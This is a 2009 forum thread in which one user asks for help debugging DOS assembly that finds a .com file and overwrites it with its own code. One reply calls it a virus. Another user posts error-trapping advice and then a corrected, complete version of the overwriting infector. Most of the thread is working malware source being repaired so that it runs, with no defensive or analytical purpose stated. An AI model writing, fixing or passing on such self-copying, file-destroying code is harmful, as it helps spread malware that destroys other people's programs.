Log in

View Full Version : .comn sense


hello
February 15th, 2009, 06:09
There are 2 files hello.exe and a second one named victim.com. The former, when run is supposed to searchFirst, locate a .com file, open it and overwrite it. But, proceedings don’t move in that anticipated course..There must be some bugs exist in code.. Error trapping ?? ..
i was not able to pin down the source of error. The code for first one is as:

Code:
; hello.exe
hello segment
assume cs:hello,ds:hello
org 100h

startt proc near
;SRH
mov ah,4Eh
mov cx,0h
mov dx,offset fileType
int 21h

;OPN
mov ax,3D01h
mov dx,9Eh ; how to view DTA ??
int 21h

;WRT
xchg bx,ax ; handle saved in register
mov ah,40h
mov cx,offset endd-offset startt
mov dx,offset startt
int 21h

;CLS
mov ah,3Eh
int 21h

;back
mov ax,4c00h
int 21h
;
startt endp
fileType db "*.com",0
;
endd label near
;
hello ends
end startt

- - - - - - - - -
And the second one is:
;victim.com
.model tiny
.code
org 100h
;
start:
mov dx,offset comfile
mov ah,9h
int 21h
;
mov ax,4c00h
int 21h
comfile db " iam a still living .com $"
end start

May I look forward to some useful information pertinent to the situation?
Thank you.

esther
February 15th, 2009, 06:34
tbh,you are writing a virus ,doubt anyone will help you

hello
February 15th, 2009, 06:39
LOL

jackall
February 15th, 2009, 14:22
yes..try to trap the error.
iam not sure of it, may be you could use carry flag to get a little closer to the area of error. if the search function succeeds , carry flag is clear else it is set.
for example:

Code:
jc error
- - -
- - -
error:
mov dx,msg
mov ah,09h
int 21h

msg DB "search failed to locate the specified file extension $"


hope this helps.....

jackall
February 22nd, 2009, 13:10
may be you are looking for something like this:
Code:
threes segment
assume cs:threes,ds:threes
org 100h
;
first:
mov ah,4eh
xor cx,cx
mov dx,offset file
int 21h
;
mov ax,3d02h
mov dx,9eh
int 21h
xchg bx,ax
;
mov ah,40h
mov dx,offset first
mov cx,offset last - offset first
int 21h
;
mov ah,3eh
int 21h
int 20h
;
file db '*.com',0
last:
threes ends
end first
...